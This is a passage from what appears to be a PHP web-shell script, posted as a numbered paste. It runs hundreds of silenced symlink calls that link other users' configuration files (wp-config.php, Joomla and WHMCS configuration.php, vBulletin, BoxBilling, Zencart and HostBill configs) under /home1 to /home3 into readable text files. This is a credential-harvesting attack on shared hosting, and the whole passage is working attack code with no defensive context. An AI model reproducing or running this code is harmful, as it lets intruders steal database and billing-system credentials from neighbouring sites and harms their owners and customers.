  1638. @symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1639. @symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1640. @symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1641. @symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1642. @symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1643. @symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1644. @symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1645. @symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1646. @symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1647. @symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1648. @symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1649. @symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1650. @symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1651. @symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1652. @symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1653. @symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1654. @symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1655. @symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1656. @symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1657.  
  1658. //Home2
  1659.  
  1660. @symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1661. @symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1662. @symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1663. @symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1664. @symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1665. @symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1666. @symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1667. @symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1668. @symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1669. @symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1670. @symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1671. @symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1672. @symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1673. @symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1674. @symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1675. @symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1676. @symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1677. @symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1678. @symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1679. @symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1680. @symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1681. @symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1682. @symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1683. @symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1684. @symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1685. @symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1686. @symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1687. @symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1688. @symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1689. @symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1690. @symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1691. @symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1692. @symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1693. @symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1694. @symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1695. @symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1696. @symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1697. @symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1698. @symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1699. @symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1700. @symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1701. @symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1702. @symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1703. @symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1704. @symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1705. @symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1706. @symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1707. @symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1708. @symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1709. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1710. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1711. @symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1712. @symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1713. @symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1714. @symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1715. @symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1716. @symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1717. @symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1718. @symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1719. @symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1720. @symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1721. @symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1722. @symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1723. @symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1724. @symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1725. @symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1726. @symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1727. @symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1728. @symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1729. @symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1730. @symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1731. @symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1732. @symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1733. @symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1734. @symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1735. @symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1736. @symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1737. @symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1738. @symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1739. @symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1740. @symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1741. @symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1742. @symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1743. @symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1744. @symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1745. @symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1746. @symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1747. @symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1748. @symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1749. @symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1750. @symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1751. @symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1752. @symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1753. @symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1754. @symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1755. @symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1756. @symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1757. @symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1758. @symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1759. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1760. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1761. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1762. @symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1763. @symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1764. @symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1765. @symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1766. @symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1767. @symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1768. @symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1769. @symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1770. @symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1771. @symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1772. @symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1773. @symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1774. @symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1775. @symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1776. @symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1777. @symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1778. @symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1779. @symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1780. @symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1781. @symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1782. @symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1783. @symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1784. @symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1785. @symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1786. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1787. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1788. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1789. @symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1790. @symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1791. @symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1792. @symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1793. @symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1794. @symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1795. @symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1796. @symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1797. @symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1798. @symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1799. @symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1800. @symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1801. @symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1802. @symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1803. @symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1804. @symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1805. @symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1806. @symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1807. @symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1808. @symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1809. @symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1810. @symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1811. @symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1812. @symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1813. @symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1814. @symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1815. @symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1816. @symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1817. @symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1818. @symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1819. @symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1820. @symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1821. @symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1822. @symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1823. @symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1824. @symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1825. @symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1826. @symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1827. @symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1828. @symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1829. @symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1830. @symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1831. @symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1832. @symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1833. @symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1834. @symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1835. @symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1836. @symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1837. @symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1838. @symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1839. @symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1840.  
  1841. //Home3
  1842.  
  1843. @symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1844. @symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1845. @symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1846. @symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1847. @symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1848. @symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1849. @symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1850. @symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1851. @symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1852. @symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1853. @symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1854. @symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1855. @symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1856. @symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1857. @symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1858. @symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1859. @symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1860. @symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1861. @symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1862. @symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1863. @symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1864. @symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1865. @symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1866. @symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1867. @symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1868. @symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1869. @symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1870. @symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1871. @symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1872. @symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1873. @symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1874. @symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1875. @symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1876. @symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1877. @symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1878. @symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1879. @symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1880. @symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1881. @symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1882. @symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1883. @symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1884. @symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1885. @symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1886. @symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1887. @symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1888. @symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1889. @symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1890. @symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1891. @symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1892. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1893. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1894. @symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1895. @symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1896. @symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1897. @symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1898. @symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1899. @symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1900. @symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1901. @symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1902. @symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1903. @symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1904. @symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1905. @symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1906. @symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1907. @symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1908. @symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1909. @symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1910. @symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1911. @symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1912. @symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1913. @symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1914. @symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1915. @symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1916. @symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1917. @symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1918. @symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1919. @symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1920. @symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1921. @symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1922. @symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1923. @symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1924. @symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1925. @symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1926. @symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1927. @symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1928. @symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1929. @symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1930. @symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1931. @symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1932. @symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1933. @symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1934. @symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1935. @symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1936. @symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1937. @symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1938. @symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1939. @symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1940. @symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1941. @symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1942. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1943. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1944. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1945. @symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
